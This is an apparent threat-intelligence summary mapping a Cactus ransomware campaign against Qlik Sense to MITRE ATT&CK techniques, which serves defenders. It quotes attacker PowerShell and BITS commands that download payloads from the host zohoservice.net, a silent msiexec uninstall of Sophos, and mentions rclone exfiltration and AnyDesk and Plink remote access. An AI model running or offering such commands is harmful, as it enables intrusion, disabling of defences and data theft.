Qlik Sense Exploited in Cactus Ransomware Campaign – Arctic Wolf

MITRE Techniques

• [T1190] Exploit Public-Facing Application – The threat actors exploited Qlik Sense installations to achieve code execution. “Based on patch level Qlik Sense is likely being exploited either via the combination or direct abuse of CVE-2023-41266, CVE-2023-41265 or potentially CVE-2023-48365 to achieve code execution.”
• [T1059.001] PowerShell – The intrusion uses PowerShell to download and execute payloads, e.g., “powershell iwr -uri http://zohoservice[.]net/putty.zip -OutFile c:windowstempputty.exe” and related commands.
• [T1197] BITS Jobs – The attackers leveraged Background Intelligent Transfer Service (BITS) to download additional tools, e.g., “powershell start-bitstransfer -source http://zohoservice.net/qlik-sens-nov.zip -outfile c:windowstempQliksens.exe”
• [T1036] Masquerading – Renamed ManageEngine UEMS executables, with a ZIP extension masquerading as Qlik files.
• [T1218.009] Signed Binary Proxy Execution – Msiexec – “MsiExec.exe /X{…} /qn” used to uninstall Sophos as part of the activity.
• [T1021.001] Remote Services – RDP – Used for lateral movement within networks.
• [T1021.004] Remote Services – SSH – Plink was used to establish an SSH tunnel for remote access.
• [T1219] Remote Access Software – AnyDesk was downloaded and used for remote control.
• [T1083] File and Directory Discovery – WizTree was downloaded to assess disk space and files for discovery.
• [T1041] Exfiltration Over C2 Channel – rclone was used (renamed as svchost.exe) to exfiltrate data.